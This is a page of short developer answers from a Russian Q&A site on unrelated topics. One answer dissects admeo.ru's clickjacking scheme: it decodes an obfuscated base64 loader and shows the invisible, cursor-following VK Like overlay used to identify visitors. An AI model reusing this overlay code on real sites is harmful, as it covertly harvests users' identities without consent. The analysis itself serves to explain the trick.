Задать вопрос
  • Как урезать свой перфекционизм?

    isqua
    @isqua
    Научу HTML, CSS, JS, BEM и Git
    Чтобы перестать делать лучше то, что ещё не сделано до конца, нужно понять одну простую истину: Запущенный проект лучше, чем не запущенный.

    Давайте потренируемся:
    • Что лучше: запущенный проект с несжатыми стилями или незапущенный со сжатыми?
    • Что лучше: не запущенный проект с десятью страницами или запущенный с тремя?
    • Что лучше: запущенный проект c jQuery или не запущенный без jQuery?


    Надеюсь, вы смогли выбрать! Как узнать, что пора запустить проект? (Под запуском я имею в виду «показать людям». Например, если вы решили написать библиотеку, давайте считать «проект запущенным», если вы выложили её на гитхаб) Нужно прикинуть, сколько времени вам надо на разработку и умножить на два. Если получилось больше двух недель, то стоит разбить проект на части и прикинуть так про каждую часть. Соответственно, ставите дедлайны.

    Промежуточные дедлайны помогают успеть к последнему. Старайтесь сначала реализовать основную функциональность, а потом дополнительную. Если не успеете к дедлайну доделать дополнительное — сначала запустите основное, а потом видно будет, надо ли вообще доделывать дополнительное.

    Ну и не беритесь за каждую идею, а выбирайте самые инетересные. Если вы будете делать пять проектов одновременно, скорее всего ни один не доделаете.

    Удачи!
    Ответ написан
    4 комментария
  • Какую простую хэш-функцию можно реализовать в VkScript?

    zagayevskiy
    @zagayevskiy
    Android developer at Yandex
    Было бы просто великолепно, если бы я мог в этом скрипте проверять какое-то подобие цифровой подписи. Т.е. у себя на сервере я бы вычислял некий хэш от параметра, а в этом скрипте проверял его.
    Это не цифровая подпись, это security through obscurity. Для цифровой подписи необходимо ассиметричное шифрование.

    По-моему, вы практически любую хэш-фукнцию можете реализовать с этим набором методом. Если логические операции включают в себя битовые. А если не включают - можно реализовать их через арифметические. Из простеньких что-то возьмите, MD5, например. Или вообще CRC32.
    Ответ написан
    8 комментариев
  • Как вы используете Mac OS?

    ManWithBear
    @ManWithBear
    Swift Adept, Prague
    Многооконность.
    Пользуюсь либо трекпадом (свайп тремя пальцами вверх и выбор нужного окна) либо мегик моус (тап двумя пальцами и выбор нужного)
    Обычно запущено 2-3 фуллскрин приложения в которых провожу больше всего времени и соответсвенно перемещение между ними лишь один свайп влево/вправо. Мелкие приложения/утилиты которые нужны лишь переодично на отдельном рабочем столе.
    Перелистывать рабочие столы приходится свайпом по трекпаду
    мегикмаус, свайп двумя пальцами

    Полноэкранный режим.
    Пользуюсь только фулскрином. Время мне нужно максимум раз в полчаса. Поэтому постоянно видеть меню бар не нужно.
    Про хром не скажу. Меня полностью устраивает сафари.

    Dock
    Можете расположить его слева или справа. Как вариант сделать выезжающим

    Launchpad.
    Группируем по папкам, радуемся. Либо, открываем лаунчпад и сразу начинаем писать название приложения.
    Лично я предпочитаю  Sportlight (ctrl+space название приложения). Наиболее часто используемые приложения в доке.
    Ответ написан
    Комментировать
  • Как проверить устройство на тачпад?

    ACCNCC
    @ACCNCC
    Делаю игры!
    Проверить если поддерживаются touch события:

    var touchSupport = 'ontouchstart' in window 
    || window.DocumentTouch && document instanceof window.DocumentTouch;
    Ответ написан
    1 комментарий
  • Какого железа достаточно фронтенд-разработчику?

    @maksimkoh
    Вашего железа достаточно. Можно программировать и компьютере 10-летней давности, главное что бы он мог запускать современные браузеры. Монитор новый не нужен, есть куча сервисов, где вы можете посмотреть сайт в разных разрешениях
    Ответ написан
    Комментировать
  • Что лучше выбрать для React.js приложения: Flux, Reflux, Redux?

    maxfarseer
    @maxfarseer
    https://maxpfrontend.ru, обучаю реакту и компании
    А я по-прежнему за redux. Здесь есть информация на русском - https://www.gitbook.com/book/maxfarseer/redux-cour...

    Я автор, буду рад если окажется полезной. Готов ответить на ваши вопросы. Спасибо.
    Ответ написан
    1 комментарий
  • Бесплатный проект для портфолио превратился в бесконечный. Как быть?

    saboteur_kiev
    @saboteur_kiev
    software engineer
    Жестко прекратить принимать запросы на новый функционал.
    Сказать, что в процессе поддержки можно будет добавлять функционал, но уже за отдельную плату.
    Собственно грамотно завершить нужно именно так, чтобы клиент не сидел на шее, а понял, что изначально разговор шел о конкретном объеме работ, который уже давно превышен, а за работу надо платить.

    Тем более, что изначальное ТЗ, еще и разбитое по этапам, у вас есть - от него и отталкивайтесь.
    Ответ написан
    Комментировать
  • Как организовать структуру и деплой проекта с docker?

    @Qilight
    Как мне запулить мой проект на этот серв?

    Не запулить, а подключить папку с хоста где лежит код.

    Как затем производить правки в коде?

    В редакторе.

    Как реализовать их связь или как сделать лучше?

    Используйте docker-compose.
    Ответ написан
    1 комментарий
  • Как ещё можно сделать уведомления, кроме sms и e-mail?

    @look2009
    У телеграмм есть прекрасное апи которое позволит это сделать, лично видел онлайн чат для сайта на телеграмм.
    Ответ написан
    Комментировать
  • Где и как лучше хранить конфиденциальные данные для разворачивания проекта?

    @redakoc
    Разделять/отделять/четко ограничивать полномочия.

    Небольшой сервис, управляющий ключом, например, а остальные не имеют к ключам доступа, а только к этому сервису обращаются. А он им разрешает делать только то, что можно.

    Или пример как работает CloudFlare KeyLess посмотрите.
    Ответ написан
    Комментировать
  • Где и как лучше хранить конфиденциальные данные для разворачивания проекта?

    sim3x
    @sim3x
    переменные окружения

    $ cat .env
    varname1=123
    varname2=234


    #!/bin/bash
    
    echo Vars import to env
    export $(cat .env | xargs)

    stackoverflow.com/a/20909045
    Ответ написан
    8 комментариев
  • Можно ли на бесплатном хостинге запустить демоны?

    @DP-Studio
    20 лет веб-разработки
    сейчас VPS от 2$ в месяц.... Сэкономьте 1 бутылку пива и 1 пачку сигарет в месяц на впс....
    Ответ написан
    1 комментарий
  • Как блокировщики сайтов отличают трафик браузера?

    eri
    @eri
    Блокировщик смотрит первый пакет в момент установки соединения. Браузер посылает заголовки вместе с syn пакетом. Телнет же открывает соединение, потом блокировщик смотрит его, не находит домен и соединяет с сайтом, а потом соединение переходит в состояние эстаблишед и дальнейшие запросы не обрабатываются...

    В браузерах есть опция быстрого открытия соединений - попробуй её отключить через флаги.
    Ответ написан
    Комментировать
  • Как блокировщики сайтов отличают трафик браузера?

    https://habrahabr.ru/post/249433/ тут (в UPD) расписано как это работает, и самое главное - как это обойти.
    Ответ написан
    Комментировать
  • Что лучше выбрать для React.js приложения: Flux, Reflux, Redux?

    Staltec
    @Staltec
    Node.js разработчик
    Я тоже был сторонником Redux пока не узнал про Baobab и курсоры. После этого Redux в моих глазах как-то резко побледнел.
    Baobab - персистентное иммутабельное дерево с поддержкой курсоров. Вот пример его интеграции с React. Эта штука пока конечно не мейнстрим, но чувствую у неё большое будущее.
    Ответ написан
    2 комментария
  • Как admeo.ru узнает номер телефона?

    27cm
    @27cm
    TODO: Написать статус
    Clickjacking

    О кликджекинге написано много статей, в том числе и на Хабре, но всё же заглянем внутрь admeo.ru и посмотрим, как это реализовано у них.

    1. В коде есть скрипт, буквально бросающийся в глаза:
    <script src="data:text/javascript;charset=utf-8;base64,KGZ1bmN0aW9uKGIsYyl7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBhPWRvY3VtZW50LGY9YS5nZXRFbGVtZW50c0J5VGFnTmFtZSgic2NyaXB0IilbMF0scz1hLmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpLGg9ZXNjYXBlKGEucmVmZXJyZXIpO3MudHlwZT0idGV4dC9qYXZhc2NyaXB0IjtzLmNoYXJzZXQ9IlVURi04IjtzLmFzeW5jPSEwO3Muc3JjPSIvLyIrYisiLyIrYysiLmpzP3I9IitNYXRoLnJhbmRvbSgpO2YucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUocyxmKX0sMCl9KSgiYWRtZW8ucnUiLCJlZGI0MmE4MTg3MzE4NTY5NmFjNTJlMmJiNGJmNmVlYSIpOw==" async=""></script>

    2. Декодируем:
    (function(b,c){setTimeout(function(){
    var a=document,f=a.getElementsByTagName("script")[0],
    s=a.createElement("script"),h=escape(a.referrer);s.type="text/javascript";
    s.charset="UTF-8";s.async=!0;s.src="//"+b+"/"+c+".js?r="+Math.random();
    f.parentNode.insertBefore(s,f)},0)})("admeo.ru","edb42a81873185696ac52e2bb4bf6eea");

    3. Внутри edb42a81873185696ac52e2bb4bf6eea.html:
    <html>
    <head></head>
    <body onclick="admeoVk.click()">
    <div id="vk_api_transport"></div>
    <div id="cwvkid" style="cursor:pointer!important;clear: both;background: none;position: fixed !important;top: 0;left: 0;bottom: 0;right: 0;width: 100%;height: 100%;border: none;margin: 0;padding: 0;opacity: 0;z-index: 88888;visibility: visible;"></div>
    <div id="myvklogin"></div>
    <script language="JavaScript">
        var admeoParams = {
            token: 'edb42a81873185696ac52e2bb4bf6eea',
            apiUrl: 'http://admeo.ru/',
            appId: 4906527,
            host: 'admeo.ru',
            siteId: 15,
            cName: 'amuid'
        };
    
        (function(i,s,o,g,r,a,m){i['AdmeoObject']=r;i[r]=i[r]||function(){
                (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
            m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
        })(window,document,'script', 'http://static.admeo.ru/assets/core/_vk.js','admeo');
    </script>
    </body>
    </html>

    Странное решение оставить cursor:pointer!important...
    4. static.admeo.ru/assets/core/_vk.js
    5. Прозрачная кнопка Like Вконтакте движется под курсором и ждёт, когда на неё кликнут:
    window.onmousemove = function(e){
        document.querySelector('#cwvkid').style.left = e.pageX - 70;
        document.querySelector('#cwvkid').style.top = e.pageY - 12;
    };
    Ответ написан
    10 комментариев
  • Как зашифровать PHP?

    @vilgeforce
    Раздолбай и программист
    Нет никакого смысла прятать этот фрагмент: всякий кто завладеет "зашифрованным" кодом легко сможет узнать куда стучится скрипт.
    Ответ написан
    2 комментария
  • Как инвертировать частотный спектр изображения?

    @AelDeyr
    Берете картинку, проще всего какой-нибудь формат без сжатия, вроде BMP.
    Разворачиваете картинку в одномерный массив пикселей. Для BMP будет Array of Point(R,G,B,A). C этим массивом работаете по описанной вами схеме.
    Если тема интересна, гуглить: "алгоритмы сжатия с потерями" "использование вейвлетов для сжатия изображений" "разбор алгоритма Jpeg-кодирования"
    Если сразу готовый алгоритм, вот на хабре статья (не моя) была по вейвлетам Хаара когда-то: habrahabr.ru/post/168517 (это теория, в конце данной статьи ссылка на практику с готовыми исходниками)
    Заменить в исходниках ядро преобразования с Хаара на Фурье труда не составит.

    p.s. Картинки получаются очень интересными. В свое время, когда для себя написал такую программу, потом часа четыре игрался с базой изображений. Особенно интересно смотреть в реальном времени, как постепенно высокие частоты вносят объем и цвет в базовое изображение. Или как разные ядра по-разному декомпозируют исходный файл.
    p.p.s. Очень наглядная визуализация. Такие наблюдения потом помогут быстро разбираться чему же все-таки научилась ваша нейронная сеть (за что отвечают отдельные веса и т.п.)
    p.p.p.s. Если совсем лень, можете взять Wolfram Mathematica, у них все эти алгоритмы реализованны.
    Ответ написан
    2 комментария